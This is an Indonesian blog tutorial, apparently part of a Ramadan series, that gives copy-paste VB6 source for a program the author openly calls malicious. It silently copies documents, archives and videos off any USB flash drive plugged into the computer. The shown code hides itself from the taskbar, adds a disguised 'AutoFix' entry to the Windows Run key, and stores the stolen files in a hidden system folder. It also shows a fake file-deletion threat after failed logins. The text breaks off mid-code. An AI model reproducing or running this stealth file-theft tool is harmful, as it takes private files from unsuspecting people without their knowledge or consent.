Akhirnya hari yang di tunggu-tunggu datang juga yaitu hari di mana awal dari bulan ramadhan, bulan yang penuh berkah. mohon doanya ya semoga bulan ini saya bisa menjalankan ibadah puasa, sehingga dapat hidayah dari Allah SWT. dan bulan ini saya akan membagikan ilmu saya pada visual basic. doakan kan setiap hari di bulan ramadhan aku akan membahas 1 tentang visual basic, dab bermanfaat bagi pembaca.
Silahkan aja anda ikuti tutorial saya di hari bulan puasanya ini. disini aku akan membahas gimana kita dapat mengambil data dari flasdisk yang tercolok di kompi kita.
sebenarnya program ini termasuk jahat juga karena program ini akan menyedot isi dari FD tanpa pemberitahuan. langsung aja ikuti petunjuk seterusnya

Buka VB6 ya......., jangan sediakan apa2 kan puasa....hehe...
1. Siapkan 2 form, 2 module, 1 usercontrol
2. Siapkan jari anda untuk copas (copy paste ni source) untuk tampilan gimana mas?
kan udah besar pikir dan bayangkan sendiri ya....

ni kode untuk form1

Dim SearchFlag As Integer
Dim Aku As Long
Dim myPath As String
Dim Direktori As String, Folder As String, Ekstensi As String
Dim UserName As String, Password As String, AutoStart As String
Dim Hidden As String, RampokSemua As String
Dim nID As NOTIFYICONDATA
Private Sub UpdateIcon(IconApa As Long)
With nID
.cbSize = Len(nID)
.hwnd = Me.hwnd
.uId = vbNull
.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
.uCallBackMessage = WM_MOUSEMOVE
.hIcon = IconApa
End With
Shell_NotifyIcon NIM_ADD, nID
End Sub

Private Sub Rampok(Tempatnya As String)
Dim PathPertama As String, JumlahDir As Integer, NomorFile As Integer
Dim Hasilnya As Integer
Dim ind As Integer
Dim i As Integer
On Error Resume Next
If dirList.Path <> dirList.List(dirList.ListIndex) Then
dirList.Path = dirList.List(dirList.ListIndex)
Exit Sub
End If
dirList.Path = Tempatnya
PathPertama = dirList.Path
JumlahDir = dirList.ListCount
DoEvents
NomorFile = 0
Hasilnya = DirDiver(PathPertama, JumlahDir, "")
filList.Path = dirList.Path
Screen.MousePointer = vbDefault
End Sub

Private Function DirDiver(PathBaru As String, JumlahDir As Integer, BackUp As String) As Integer
Dim DirsToPeek As Long
Dim AbandonSearch As Long
Dim ind As Long
Dim PathLama As String
Dim PathSekarang As String
Dim Entry As String
Dim Retval As Integer
Dim X As Integer
Dim HariIni As String
On Error Resume Next
HariIni = Format(Now, "yyyymmdd")
BuatFolder txtField(0).Text + txtField(1).Text + "\"
BuatFolder txtField(0).Text + txtField(1).Text + "\" + HariIni + "\"
SearchFlag = True
DirDiver = False
Retval = DoEvents()
If SearchFlag = False Then
DirDiver = True
Exit Function
End If
DirsToPeek = dirList.ListCount
Do While DirsToPeek > 0 And SearchFlag = True
PathLama = dirList.Path
dirList.Path = PathBaru
If dirList.ListCount > 0 Then
dirList.Path = dirList.List(DirsToPeek - 1)
AbandonSearch = DirDiver((dirList.Path), JumlahDir%, PathLama)
End If
DirsToPeek = DirsToPeek - 1
If AbandonSearch = True Then Exit Function
Loop
If filList.ListCount Then
If Len(dirList.Path) <= 3 Then
PathSekarang = dirList.Path
Else
PathSekarang = dirList.Path + "\"
End If
For ind = 0 To filList.ListCount - 1
Entry = PathSekarang + filList.List(ind)
Aku = CopyFiles(PathSekarang, txtField(0).Text + txtField(1).Text + "\" + HariIni + "\", filList.List(ind))
Next ind
End If
If BackUp <> "" Then
dirList.Path = BackUp
End If
End Function

Private Sub chkHide_Click()
On Error Resume Next
If chkHide.Value = 1 Then
Call SimpanReg(Tempat, SubTempat, "Hidden", "True")
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_SYSTEM
ElseIf chkHide.Value = 0 Then
Call SimpanReg(Tempat, SubTempat, "Hidden", "False")
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_NORMAL
End If
End Sub
Private Sub chkStart_Click()
On Error Resume Next
If chkStart.Value = 1 Then
Call SimpanReg(Tempat, SubTempat, "AutoStart", "True")
Call SimpanReg(Tempat, SubRun, "AutoFix", App.Path + "\" + App.EXEName + ".exe")
ElseIf chkStart.Value = 0 Then
Call SimpanReg(Tempat, SubTempat, "AutoStart", "False")
Call SimpanReg(Tempat, SubRun, "AutoFix", "")
End If
End Sub

Private Sub cmdBrowse_Click()
On Error Resume Next
With BukaFile
.ShowOpen
txtField(0).Text = Left(.FileName, Len(Trim(.FileName)) - Len(Trim(.FileTitle)))
End With

End Sub

Private Sub cmdSimpan_Click()
On Error Resume Next
DataString = txtField(4).Text
Translate
Call SimpanReg(Tempat, SubTempat, "Direktori", txtField(0).Text)
Call SimpanReg(Tempat, SubTempat, "Folder", txtField(1).Text)
Call SimpanReg(Tempat, SubTempat, "Ekstensi", txtField(2).Text)
Call SimpanReg(Tempat, SubTempat, "UserName", txtField(3).Text)
Call SimpanReg(Tempat, SubTempat, "Password", Temp$)
If chkStart.Value = 1 Then
Call SimpanReg(Tempat, SubTempat, "AutoStart", "True")
Call SimpanReg(Tempat, SubRun, "AutoFix", App.Path + "\" + App.EXEName + ".exe")
Else
Call SimpanReg(Tempat, SubTempat, "AutoStart", "False")
Call SimpanReg(Tempat, SubRun, "AutoFix", "")
End If
If chkHide.Value = 1 Then
Call SimpanReg(Tempat, SubTempat, "Hidden", "True")
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_SYSTEM
Else
Call SimpanReg(Tempat, SubTempat, "Hidden", "False")
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_NORMAL
End If

If optPil(0).Value = True Then
Call SimpanReg(Tempat, SubTempat, "RampokSemua", "ON")
filList.Pattern = txtField(2).Text
ElseIf optPil(1).Value = True Then
Call SimpanReg(Tempat, SubTempat, "RampokSemua", "OFF")
End If

For i = 0 To 4
txtField(i).Locked = True
Next i
cmdSimpan.Enabled = False
cmdUbah.Enabled = True

End Sub

Private Sub cmdUbah_Click()
On Error Resume Next
For i = 0 To 4
txtField(i).Locked = False
Next i
cmdSimpan.Enabled = True
cmdUbah.Enabled = False
txtField(0).SetFocus
End Sub

Private Sub DirList_Change()
filList.Path = dirList.Path
End Sub

Private Sub DirList_LostFocus()
dirList.Path = dirList.List(dirList.ListIndex)
End Sub

Private Sub Form_Load()
On Error Resume Next
UpdateIcon Me.Icon
App.TaskVisible = False
Call BacaReg(Tempat, SubTempat, "Password", Password)
Call BacaReg(Tempat, SubTempat, "Direktori", Direktori)
Call BacaReg(Tempat, SubTempat, "Folder", Folder)
Call BacaReg(Tempat, SubTempat, "Ekstensi", Ekstensi)
Call BacaReg(Tempat, SubTempat, "UserName", UserName)
Call BacaReg(Tempat, SubTempat, "AutoStart", AutoStart)
Call BacaReg(Tempat, SubTempat, "Hidden", Hidden)
Call BacaReg(Tempat, SubTempat, "RampokSemua", RampokSemua)
For i = 0 To 4
txtField(i).Locked = True
Next i

If Direktori = "" Then
txtField(0).Text = App.Path + "\"
Else
txtField(0).Text = Direktori
End If
If Folder = "" Then
txtField(1).Text = "Hasil Merampok"
Else
txtField(1).Text = Folder
End If
If Ekstensi = "" Then
txtField(2).Text = "*.doc;*.xls;*.ppt;*.mdb;*.avi;*.zip;*.rar;*.3gp;*.rm"
filList.Pattern = "*.doc;*.xls;*.ppt;*.mdb;*.avi;*.zip;*.rar;*.3gp;*.rm"
Else
txtField(2).Text = Ekstensi
filList.Pattern = Ekstensi
End If
If UserName = "" Then
txtField(3).Text = "mr_hack"
Else
txtField(3).Text = UserName
End If
If AutoStart = "" Then
chkStart.Value = 0
ElseIf AutoStart = "True" Then
chkStart.Value = 1
ElseIf AutoStart = "False" Then
chkStart.Value = 0
End If
If Hidden = "" Then
chkHide.Value = 0
ElseIf Hidden = "True" Then
chkHide.Value = 1
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_SYSTEM
ElseIf Hidden = "False" Then
chkHide.Value = 0
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_NORMAL
End If
If RampokSemua = "" Then
optPil(0).Value = False
optPil(1).Value = True
ElseIf RampokSemua = "ON" Then
optPil(0).Value = True
optPil(1).Value = False
Timer1.Enabled = True
ElseIf RampokSemua = "OFF" Then
optPil(0).Value = False
optPil(1).Value = True
Timer1.Enabled = False
End If
DataString = Password
Translate
Password = Temp$
If Password = "" Then
MsgBox "Maaf! User Name and Password belum dimasukkan!", vbOKOnly + vbCritical, "Kosong"
Me.WindowState = 0
txtField(4).Text = "rahasia"
Else
Me.WindowState = 1
txtField(4).Text = Password
End If

End Sub

Private Sub Form_Resize()
If Me.WindowState = vbMinimized Then
Me.Hide
End If

End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim Hasil As Long
Dim HorX As Long
If Me.ScaleMode = vbPixels Then
HorX = X
Else
HorX = X / Screen.TwipsPerPixelX
End If
Select Case HorX
Case WM_LBUTTONDBLCLK 'Restore saat klik kiri beruntun.
Hasil = SetForegroundWindow(Me.hwnd)
Me.PopupMenu Me.mPopupSys
Me.Show
Case WM_RBUTTONUP 'Tampilkan menu Popup saat klik kanan.
Hasil = SetForegroundWindow(Me.hwnd)
Me.PopupMenu Me.mPopupSys
Me.Show
End Select
End Sub

Private Sub Form_Unload(Cancel As Integer)
Shell_NotifyIcon NIM_DELETE, nID
End
End Sub

Private Sub mMinimize_Click()
Me.WindowState = 1
End Sub

Private Sub mnExit_Click()
Call BacaReg(Tempat, SubTempat, "Password", Password)
If Password = "" Then
End
Else
frmPassword.Show
End If
End Sub

Private Sub mPembuat_Click()
MsgBox "Dibuat oleh mr_hack" + Chr(13) + _
"E-mail : mr_hack77@yahoo.com" + Chr(13) + _
"E-mail : hack.chin@gmail.com" + Chr(13) + _
"thank to:" + Chr(13) + _
"Semua teman-teman yogyafree.net" + Chr(13) + _
"Semua teman-teman vb-bego.com" + Chr(13) + _
"All friend", vbOKOnly + vbInformation, "Sing Gawe"
End Sub

Private Sub mRestore_Click()
Call BacaReg(Tempat, SubTempat, "Password", Password)
If Password = "" Then
MsgBox "Maaf! User Name and Password belum dimasukkan!", vbOKOnly + vbCritical, "Kosong"
Me.WindowState = 0
txtField(4).Text = "rahasia"
Else
frmPassword.Show
End If
End Sub

Private Sub optPil_Click(Index As Integer)
If optPil(0).Value = True Then
Timer1.Enabled = True
filList.Pattern = txtField(2).Text
Call SimpanReg(Tempat, SubTempat, "RampokSemua", "ON")
Else
Timer1.Enabled = False
Call SimpanReg(Tempat, SubTempat, "RampokSemua", "OFF")
End If
End Sub

Private Sub Timer1_Timer()
For i = 1 To Len(CariDrive) Step 3
Rampok Mid$(CariDrive, i, 2)
Next i
End Sub

Sak teruse....

Readmore...

Back...

Maaf ya kalau saya pisah-pisah, tadi pagi aku udah buat menyatu entah kenapa pada waktu aku posting selalu gagal, mungkin terlalu panjang ya.....
oke langsung aja silahkan anda ikuti langkah kedua.
Ini kode untuk form2

Dim Password As String
Dim UserName As String

Private Sub cmdCancel_Click()
txtUser.Text = ""
txtPass.Text = ""
Unload Me
End Sub

Private Sub cmdOK_Click()
Call BacaReg(Tempat, SubTempat, "Password", Password)
Call BacaReg(Tempat, SubTempat, "UserName", UserName)
DataString = Password
Translate
Password = Temp$
If txtUser.Text = UserName Then
If txtPass.Text = Password Then
txtPass.Text = ""
Perkosa.WindowState = 0
Perkosa.Show
Me.Hide
Else
MsgBox "Maaf! password salah!", vbOKOnly + vbCritical, "Sory bro"
Label2.Caption = Val(Label2.Caption) + 1
txtUser.Text = ""
txtPass.Text = ""
End If
Else
txtUser.Text = ""
txtPass.Text = ""
MsgBox "Maaf! Username ga cocok bro!", vbOKOnly + vbCritical, "Salah bro"
Label2.Caption = Val(Label2.Caption) + 1
End If
If Label2.Caption = "3" Then
MsgBox "File kompi anda akan terhapus semua!" + Chr(13) + _
"Silahkan tunggu 10 menit untuk melihatnya!!", vbOKOnly + vbCritical, "Hancurkannnn"
txtUser.Text = ""
txtPass.Text = ""
Label2.Caption = "0"
Exit Sub
Unload Me
End If
End Sub

Private Sub Form_Activate()
txtUser.SetFocus
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
cmdCancel_Click
End Sub

untuk 2 module dan 1 user control akan aku bahas besok ya

Sak teruse....

Readmore...

Back...

Akhirnya ramadhan hari perdana udah kita lalui, ni hari yang kedua. pada hari ini akan aku teruskan pembuatan program rampok FD yang kemarin adalah source code untuk form1 dan form 2, sekarang kita akan membuat atau menuliskan code untuk module1, module2 dan usercontrol1.
oke ga usah basa basi langsung aja ya....
Berikut source code untuk module1 atau aku sebut modRegistry

Public Const HKEY_LOCAL_ROOT = &H80000000
Public Const HKEY_LOCAL_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const Tempat = HKEY_LOCAL_MACHINE
Public Const SubTempat = "Software\Mr_Hack\AwasRampok"
Public Const SubRun = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Public Const READ_CONTROL = &H20000
Public Const KEY_QUERY_VALUE = &H1
Public Const KEY_SET_VALUE = &H2
Public Const KEY_CREATE_SUB_KEY = &H4
Public Const KEY_ENUMERATE_SUB_KEYS = &H8
Public Const KEY_NOTIFY = &H10
Public Const KEY_CREATE_LINK = &H20
Public Const KEY_ALL_ACCESS = _
KEY_QUERY_VALUE + KEY_SET_VALUE + _
KEY_CREATE_SUB_KEY + KEY_ENUMERATE_SUB_KEYS + _
KEY_NOTIFY + KEY_CREATE_LINK + READ_CONTROL

'Tipe Reg Key ROOT ...
Public Const ERROR_SUCCESS = 0
Public Const REG_SZ = 1 ' Unicode nul terminated string
Public Const REG_DWORD = 4 ' 32-bit number

Private Declare Function RegOpenKeyEx Lib _
"advapi32" Alias "RegOpenKeyExA" _
(ByVal hKey As Long, ByVal lpSubKey As String, _
ByVal ulOptions As Long, ByVal samDesired As Long, _
ByRef phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib _
"advapi32" Alias "RegQueryValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, _
ByVal lpReserved As Long, ByRef lpType As Long, _
ByVal lpData As String, ByRef lpcbData As Long) _
As Long
Declare Function RegCreateKey Lib _
"advapi32.dll" Alias "RegCreateKeyA" _
(ByVal hKey As Long, ByVal lpSubKey As _
String, phkResult As Long) As Long

Declare Function RegCloseKey Lib _
"advapi32.dll" (ByVal hKey As Long) As Long

Declare Function RegSetValueEx Lib _
"advapi32.dll" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal _
lpValueName As String, ByVal _
Reserved As Long, ByVal dwType _
As Long, lpData As Any, ByVal _
cbData As Long) As Long
Declare Function SystemParametersInfo Lib "user32" Alias _
"SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, _
ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long

Public Code, DataString, Temp As String
Public PathDatabase As String
Public Sub SimpanReg(hKey As Long, strPath As String, _
strValue As String, strData As String)
Dim KeyHand As Long
Dim r As Long
r = RegCreateKey(hKey, strPath, KeyHand)
r = RegSetValueEx(KeyHand, strValue, 0, _
REG_SZ, ByVal strData, Len(strData))
r = RegCloseKey(KeyHand)
End Sub
Public Sub BacaReg(hKey As Long, strPath As String, strValue As String, strData As String)
On Error GoTo Error
Dim Data As Long
Data = GetKeyValue(hKey, _
strPath, strValue, strData)
Exit Sub
Error:
MsgBox "Tidak ada informasi Registry", _
vbInformation, "NIHIL"
End Sub

Public Function GetKeyValue(KeyRoot As Long, _
KeyName As String, _
SubKeyRef As String, _
ByRef KeyVal As String) _
As Boolean
Dim i As Long ' Counter untuk looping
Dim rc As Long ' Code pengembalian
Dim hKey As Long ' Penanganan membuka Registry Key
Dim hDepth As Long '
Dim KeyValType As Long ' Tipe Data sebuah Registry Key
Dim tmpVal As String ' Penyimpanan sementara nilai Registry Key
Dim KeyValSize As Long ' Ukuran variabel Registry Key
rc = RegOpenKeyEx(KeyRoot, KeyName, 0, KEY_ALL_ACCESS, hKey)
If (rc <> ERROR_SUCCESS) Then GoTo GetKeyError
tmpVal = String$(1024, 0)
KeyValSize = 1024
rc = RegQueryValueEx(hKey, SubKeyRef, 0, _
KeyValType, tmpVal, KeyValSize)
If (rc <> ERROR_SUCCESS) Then GoTo GetKeyError
If (Asc(Mid(tmpVal, KeyValSize, 1)) = 0) Then
tmpVal = Left(tmpVal, KeyValSize - 1)
Else
tmpVal = Left(tmpVal, KeyValSize)
End If
Select Case KeyValType ' Cari tipe data...
Case REG_SZ ' Tipe data string Registry Key
KeyVal = tmpVal ' Copy nilai String
Case REG_DWORD ' Tipe data Double Word Registry Key
For i = Len(tmpVal) To 1 Step -1
KeyVal = KeyVal + Hex(Asc(Mid(tmpVal, i, 1)))
Next
KeyVal = Format$("&h" + KeyVal)
End Select
GetKeyValue = True ' Pengembalian sukses
rc = RegCloseKey(hKey) ' Tutup Registry Key
Exit Function ' Keluar dari fungsi
GetKeyError: ' Bersihkan memori jika terjadi error...
KeyVal = "" ' Set Return Val ke string kosong
GetKeyValue = False ' Pengembalian gagal
rc = RegCloseKey(hKey) ' Tutup Registry Key
End Function
Public Sub DisableCtrlAltDelete(bDisabled As Boolean)
Dim X As Long
X = SystemParametersInfo(97, bDisabled, CStr(1), 0)
End Sub

setelah module 1 ni untuk module2 aku sebut modGeneral

'File
Public Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long

'Path
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long

Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Public Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Public Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function EnumProcesses Lib "psapi.dll" (ByRef lpidProcess As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Public Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Public Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Public Declare Function GetDesktopWindow Lib "user32" () As Long
Public Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Public Declare Function Shell_NotifyIcon Lib "shell32" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, pnID As NOTIFYICONDATA) As Boolean

Public Const WM_CLOSE = &H10
Public Const SW_HIDE = 0
Public Const EWX_FORCE = 4
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Const WM_GETTEXT = &HD
Public Const VER_PLATFORM_WIN32_NT = 2
Public Const TOKEN_ADJUST_PRIVILEGES = &H20
Public Const TOKEN_QUERY = &H8
Public Const SE_PRIVILEGE_ENABLED = &H2
Public Const ANYSIZE_ARRAY = 1
Public Const INVALID_HANDLE_VALUE = -1
Public Const FILE_ATTRIBUTE_SYSTEM = &H4
Public Const FILE_ATTRIBUTE_READONLY = &H1
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Public Const FILE_ATTRIBUTE_DIRECTORY = &H10
Public Const FILE_ATTRIBUTE_ARCHIVE = &H20
Public Const FILE_ATTRIBUTE_NORMAL = &H80
Public Const FO_DELETE = &H3
Public Const REG_DWORD = 4
Public Const PROCESS_QUERY_INFORMATION = 1024
Public Const PROCESS_VM_READ = 16
Public Const MAX_PATH = 260
Public Const STANDARD_RIGHTS_REQUIRED = &HF0000
Public Const SYNCHRONIZE = &H100000
Public Const PROCESS_ALL_ACCESS = &H1F0FFF
Public Const MAX_MODULE_NAME32 As Integer = 255
Public Const MAX_MODULE_NAME32plus As Integer = MAX_MODULE_NAME32 + 1
Public Const TH32CS_SNAPHEAPLIST = &H1
Public Const TH32CS_SNAPPROCESS = &H2
Public Const TH32CS_SNAPTHREAD = &H4
Public Const TH32CS_SNAPMODULE = &H8
Public Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)
Public Const hNull = 0
Public Const ERROR_SUCCESS = &H0
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
Public Const FO_COPY = &H2
Public Const FOF_ALLOWUNDO = &H40
Public Const MAXDWORD = &HFFFF
Public Const FILE_ATTRIBUTE_TEMPORARY = &H100

Public Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Public Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Public Type SHFILEOPSTRUCT
hwnd As Long
wFunc As Long
pFrom As String
pTo As String
fFlags As Integer
fAnyOperationsAborted As Long
hNameMappings As Long
lpszProgressTitle As String
End Type
Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Public Type LUID
LowPart As Long
HighPart As Long
End Type
Public Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type
Public Type SHITEMID
cb As Long
abID As Byte
End Type
Public Type ITEMIDLIST
mkid As SHITEMID
End Type
Public Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Public Type NOTIFYICONDATA
cbSize As Long
hwnd As Long
uId As Long
uFlags As Long
uCallBackMessage As Long
hIcon As Long
szTip As String * 64
End Type

Public Const NIM_ADD = &H0
Public Const NIM_MODIFY = &H1
Public Const NIM_DELETE = &H2
Public Const NIF_MESSAGE = &H1
Public Const NIF_ICON = &H2
Public Const NIF_TIP = &H4
Public Const WM_MOUSEMOVE = &H200
Public Const WM_LBUTTONDOWN = &H201 'Button down kiri.
Public Const WM_LBUTTONUP = &H202 'Button up kiri.
Public Const WM_LBUTTONDBLCLK = &H203 'Double-click.
Public Const WM_RBUTTONDOWN = &H204 'Button down kanan.
Public Const WM_RBUTTONUP = &H205 'Button up kanan.
Public Const WM_RBUTTONDBLCLK = &H206 'Double-click.


Public Selesai As Boolean
Public Ketemu As Boolean
Public Ketemu2 As Boolean
Public sPathLama1 As String
Public sPathLama2 As String
Public TmpDrv As String
Public TmpDrv2 As String
Sub Translate() 'Encrypt/Decrypt Password
Dim i As Integer
Dim lokasi As Integer
Code = "1234567890" 'Ini kode/kunci utk melakukan encrypt/decrypt
Temp$ = ""
For i% = 1 To Len(DataString)
lokasi% = (i% Mod Len(Code)) + 1
'Gunakan logika XOR utk kombinasi encrypt/decrypt
Temp$ = Temp$ + Chr$(Asc(Mid$(DataString, i%, 1)) Xor _
Asc(Mid$(Code, lokasi%, 1)))
Next i%
End Sub

Public Function CariDrive() As String
Dim ictr As Integer
Dim sDrive As String
sDrive = ""
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If GetDriveType(sDrive) = 2 Then
CariDrive = CariDrive & sDrive
End If
Next
End Function
Public Function IdentifikasiDrive() As Boolean
Dim ictr As Integer
Dim sDrive As String
Dim Tempatnya As String
Dim AA As String
Dim BB As Integer
sDrive = ""
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If GetDriveType(sDrive) = 2 Then
Tempatnya = Tempatnya & sDrive
End If
Next
AA = Tempatnya
BB = Len(Trim(AA))
If BB >= 0 Then
IdentifikasiDrive = True
Else
IdentifikasiDrive = False
End If
End Function

Public Function CopyFiles(sSourcePath As String, sDestination As String, sFiles As String) As Long
Dim WFD As WIN32_FIND_DATA
Dim SA As SECURITY_ATTRIBUTES
Dim r As Long
Dim hFile As Long
Dim bNext As Long
Dim copied As Long
Dim currFile As String
On Error Resume Next
r = CreateDirectory(sDestination, SA)
hFile = FindFirstFile(sSourcePath & sFiles, WFD)
If hFile Then
Do
currFile = Left$(WFD.cFileName, InStr(WFD.cFileName, Chr$(0)))
r = CopyFile(sSourcePath & currFile, sDestination & currFile, False)
copied = copied + 1
bNext = FindNextFile(hFile, WFD)
Loop Until bNext = 0
End If
r = FindClose(hFile)
CopyFiles = copied
End Function
Public Sub BuatFolder(Foldere As String)
Dim SA As SECURITY_ATTRIBUTES
Dim Buat As Long
Buat = CreateDirectory(Foldere, SA)
End Sub

udah selesai Copas-nya kalau udah ni yang terakhir yaitu usercontrol1 aku sebut CommonDialog untuk membuka file

Option Explicit

Private Declare Function GetOpenFileName Lib _
"COMDLG32.DLL" Alias "GetOpenFileNameA" _
(pOpenfilename As OPENFILENAME) As Long
Private Declare Function GetSaveFileName Lib _
"COMDLG32.DLL" Alias "GetSaveFileNameA" _
(pOpenfilename As OPENFILENAME) As Long

Private cdlg As OPENFILENAME
Private LastFileName As String

Private Type OPENFILENAME
lStructSize As Long
hwndOwner As Long
hInstance As Long
lpstrFilter As String
lpstrCustomFilter As String
nMaxCustFilter As Long
nFilterIndex As Long
lpstrFile As String
nMaxFile As Long
lpstrFileTitle As String
nMaxFileTitle As Long
lpstrInitialDir As String
lpstrTitle As String
Flags As Long
nFileOffset As Integer
nFileExtension As Integer
lpstrDefExt As String
lCustData As Long
lpfnHook As Long
lpTemplateName As String
End Type

Private Const OFN_ALLOWMULTISELECT = &H200
Private Const OFN_CREATEPROMPT = &H2000
Private Const OFN_ENABLEHOOK = &H20
Private Const OFN_ENABLETEMPLATE = &H40
Private Const OFN_ENABLETEMPLATEHANDLE = &H80
Private Const OFN_EXPLORER = &H80000
Private Const OFN_EXTENSIONDIFFERENT = &H400
Private Const OFN_FILEMUSTEXIST = &H1000
Private Const OFN_HIDEREADONLY = &H4
Private Const OFN_LONGNAMES = &H200000
Private Const OFN_NOCHANGEDIR = &H8
Private Const OFN_NODEREFERENCELINKS = &H100000
Private Const OFN_NOLONGNAMES = &H40000
Private Const OFN_NONETWORKBUTTON = &H20000
Private Const OFN_NOREADONLYRETURN = &H8000
Private Const OFN_NOTESTFILECREATE = &H10000
Private Const OFN_NOVALIDATE = &H100
Private Const OFN_OVERWRITEPROMPT = &H2
Private Const OFN_PATHMUSTEXIST = &H800
Private Const OFN_READONLY = &H1
Private Const OFN_SHAREAWARE = &H4000
Private Const OFN_SHAREFALLTHROUGH = 2
Private Const OFN_SHARENOWARN = 1
Private Const OFN_SHAREWARN = 0
Private Const OFN_SHOWHELP = &H10

Public Enum DialogFlags
ALLOWMULTISELECT = OFN_ALLOWMULTISELECT
CREATEPROMPT = OFN_CREATEPROMPT
ENABLEHOOK = OFN_ENABLEHOOK
ENABLETEMPLATE = OFN_ENABLETEMPLATE
ENABLETEMPLATEHANDLE = OFN_ENABLETEMPLATEHANDLE
EXPLORER = OFN_EXPLORER
